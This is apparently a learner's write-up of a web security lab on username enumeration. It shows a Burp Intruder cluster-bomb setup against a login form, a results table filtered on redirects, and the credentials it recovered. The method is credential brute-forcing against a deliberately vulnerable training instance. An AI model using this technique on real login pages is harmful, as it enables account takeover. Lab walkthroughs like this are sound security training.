

Username enumeration via different responses

This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:

- [Candidate usernames](#)
- [Candidate passwords](#)

To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page

Walk the application

I went YOLO straight up with clusterbomb payloads

```
Payload Positions
Configure the positions where payloads will be inserted, they

Target: https://0a8100c0046fab6dc0c79d7000b30000

1 POST /login HTTP/1.1
2 Host: 0a8100c0046fab6dc0c79d7000b30000.we
3 Cookie: session=etztPaHBB1uTWoF16ZftqoQ5z
4 Content-Length: 30
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="105", "Not)A;Bra
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 User-Agent: Mozilla/5.0 (Windows NT 10.0;
11 Origin: https://0a8100c0046fab6dc0c79d700
12 Content-Type: application/x-www-form-urle
13 Accept: text/html,application/xhtml+xml,a
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://0a8100c0046fab6dc0c79d70
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-GB,en-US;q=0.9,en;q=0
21 Connection: close
22
23 username=$carlos&password=$peter$
```

I didn't grep match - I just filtered on redirects

Results	Positions	Payloads	Resource Pool	Options			
Filter: Hiding 2xx responses							
Request	Payload 1		Payload 2	Status	Error	Timeout	Length
7195	acid		159753	302	<input type="checkbox"/>	<input type="checkbox"/>	170
7554	ar		princess		<input type="checkbox"/>	<input type="checkbox"/>	
7555	archie		princess		<input type="checkbox"/>	<input type="checkbox"/>	

I'm acid burn, obviously

Congratulations, you solved the lab!

My Account

Your username is: acid

Your email is: acid@acid.net